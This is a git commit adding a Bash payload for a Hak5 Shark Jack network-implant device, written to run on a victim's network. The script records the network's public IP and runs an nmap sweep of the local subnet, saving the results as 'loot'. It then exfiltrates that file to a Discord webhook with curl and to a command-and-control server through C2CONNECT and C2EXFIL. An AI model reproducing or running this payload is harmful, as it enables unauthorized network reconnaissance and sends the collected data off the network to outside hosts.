Create payload.sh
ar1k88
GitHub
parent
de14bb72f6
commit
27a98cb46e
|
|
@ -0,0 +1,98 @@
|
|||
#!/bin/bash
|
||||
# Title: Nmap Quickscan w/ Discord Integration (Cleaned & C2 Enabled)
|
||||
# Author: REDD of Private-Locker
|
||||
# Version: 1.3
|
||||
#
|
||||
# This is a cleaned up output version of the Original Nmap Scan that Hak5 introduces us to.
|
||||
# The Payload waits for "Internet Connection" to be present. Once Internet Connection is found,
|
||||
# It scans the local subnet for any online devices. - While also logging the Public IP of the
|
||||
# Victim's Network (Very useful when you are scanning multiple networks in a short amount of time.)
|
||||
#
|
||||
# Magenta w/ Yellow ........Waiting for Internet
|
||||
# 1st Yellow flashing.......Scanning for Gateway/Subnet
|
||||
# Cyan flashing.............Running Nmap scan on x.0/24
|
||||
# 2nd Yellow Flashing.......Installing dependencies for Discord Integration
|
||||
# Yellow....................Sent to Discord Webhook
|
||||
# Blue......................Exfiltrating to C2
|
||||
# Red.......................Failed C2/EXFIL/Scanning
|
||||
# Green.....................Finished
|
||||
|
||||
DISCORD=0
|
||||
WEBHOOK='PLACE_DISCORD_WEBHOOK_HERE'
|
||||
|
||||
if [ -f "/etc/device.config" ]; then
|
||||
INITIALIZED=1
|
||||
else
|
||||
INITIALIZED=0
|
||||
fi
|
||||
LED SETUP
|
||||
NETMODE DHCP_CLIENT
|
||||
while ! ifconfig eth0 | grep "inet addr"; do LED Y SOLID; sleep .2; LED M SOLID; sleep .8; done
|
||||
URL="http://www.example.com"
|
||||
while ! wget $URL -qO /dev/null; do sleep 1; done
|
||||
GET_GATEWAY=$(route -n | grep 'UG[ \t]' | awk '{print $2}')
|
||||
while [ $GET_GATEWAY == "" ]; do sleep 1; done
|
||||
INTERNAL_IP=$(ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p')
|
||||
SUBNET=$(echo "$GET_GATEWAY" | awk -F"." '{print $1"."$2"."$3".0/24"}')
|
||||
CHK_SUB=$(echo $INTERNAL_IP | cut -d"." -f1-3)
|
||||
FIN_SUB="${CHK_SUB}.0/24"
|
||||
LED ATTACK;
|
||||
if [ "$SUBNET" != "$FIN_SUB" ]; then
|
||||
LED R FAST;
|
||||
sleep 2;
|
||||
LED R SOLID;
|
||||
else
|
||||
# Fix for Timestamp Update
|
||||
ntpd -gq; sleep 1;
|
||||
DATE_FORMAT=$(date '+%m-%d-%Y_%H:%M:%S')
|
||||
LOOT_DIR="/root/loot/nmap-diag"
|
||||
LOOT_FILE="$LOOT_DIR/diag-${DATE_FORMAT}.txt"
|
||||
if [ ! -d "$LOOT_DIR" ]; then
|
||||
mkdir -p "$LOOT_DIR"
|
||||
fi
|
||||
if [ ! -f "$LOOT_FILE" ]; then
|
||||
touch "$LOOT_FILE"
|
||||
fi
|
||||
# Get Public IP and run NMAP scan
|
||||
PUBLIC_IP=$(wget -q "http://api.ipify.org" -O -)
|
||||
printf "\n Public IP: ${PUBLIC_IP}\n Online Devices for ${SUBNET}:\n--------------------------------------------\n\n" >> "$LOOT_FILE"
|
||||
LED C VERYFAST
|
||||
run_nmap () {
|
||||
nmap -sn --privileged "$SUBNET" --exclude "$INTERNAL_IP" | awk '/Nmap scan report for/{printf " -> ";printf $5;}/MAC Address:/{print " - "substr($0, index($0,$3)) }' >> "$LOOT_FILE"
|
||||
}
|
||||
run_nmap &
|
||||
PID=$!
|
||||
while kill -0 "$PID" 2>&1 >/dev/null; do
|
||||
wait $PID
|
||||
done
|
||||
if [ -s "$LOOT_FILE" ]; then
|
||||
if [ "$DISCORD" == 1 ]; then
|
||||
CURL_CHK=$(which curl)
|
||||
if [ "$CURL_CHK" != "/usr/bin/curl" ]; then
|
||||
LED Y VERYFAST;
|
||||
opkg update;opkg install libcurl curl;
|
||||
fi
|
||||
LED Y SOLID
|
||||
FILE=\"$LOOT_FILE\"
|
||||
curl -s -i -H 'Content-Type: multipart/form-data' -F FILE=@$FILE -F 'payload_json={ "wait": true, "content": "Loot has arrived!", "username": "SharkJack" }' $WEBHOOK
|
||||
LED G SOLID;sleep 2;
|
||||
fi
|
||||
if [ "$INITIALIZED" == 1 ]; then
|
||||
LED Y SOLID
|
||||
if [ -z "$(pgrep cc-client)" ]; then
|
||||
C2CONNECT
|
||||
while ! pgrep cc-client; do LED B SOLID;sleep .2;LED G SOLID;sleep .8; done
|
||||
fi
|
||||
# Re-issuing C2CONNECT to verify loot push to C2
|
||||
C2CONNECT
|
||||
sleep 2
|
||||
C2EXFIL STRING "${LOOT_FILE}" "Nmap Diagnostic for Network ${SUBNET}"
|
||||
LED M VERYFAST;
|
||||
sleep 2;
|
||||
fi
|
||||
LED FINISH;
|
||||
else
|
||||
LED R SOLID;
|
||||
rm -rf "$LOOT_FILE";
|
||||
fi
|
||||
fi
|
||||
Loading…
Reference in New Issue